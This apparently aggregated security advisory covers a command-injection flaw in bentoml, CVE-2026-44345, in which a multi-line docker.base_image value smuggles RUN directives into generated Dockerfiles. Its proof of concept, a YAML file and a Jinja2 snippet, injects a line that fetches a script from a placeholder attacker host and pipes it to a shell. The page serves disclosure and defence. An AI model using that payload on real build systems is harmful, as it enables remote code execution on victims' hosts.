Categories
CVE-2026-44345 high CVSS 8.8

OS Command Injection in bentoml (CVE-2026-44345)

Summary

OS command injection in bentoml (CVE-2026-44345). Successful exploitation can lead to full system takeover. Exploitable via docker.base_image. Mitigation: upgrade to 1.4.39 or later.

Original description

The description as published by the source.

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-44345 has been found in bentoml.
Attackers can target a specific entry point like docker.base_image over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 8.8/10.
What to do: upgrade bentoml to 1.4.39 or later.
If unsure, ask your IT team or search "bentoml CVE-2026-44345" on the vendor's site.

CVE-2026-44345 (bentoml) — CWE-78 / CVSS v3 8.8
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: docker.base_image / RUN / __options__base_image / DockerOptions.base_image
Patched: 1.4.39 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

OS command injection (CWE-78) exists in bentoml. Attackers reach the vulnerable code path via docker.base_image without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of bentoml. Attack surface: docker.base_image / RUN / __options__base_image / DockerOptions.base_image.

🔥 Severity

Severity: High (CVSS 8.8/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 1.4.39.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'bentoml' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'bentoml' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で bentoml を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade bentoml to 1.4.39

    ステージング環境で 1.4.39 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

pip bentoml
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}]
PyPI bentoml
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details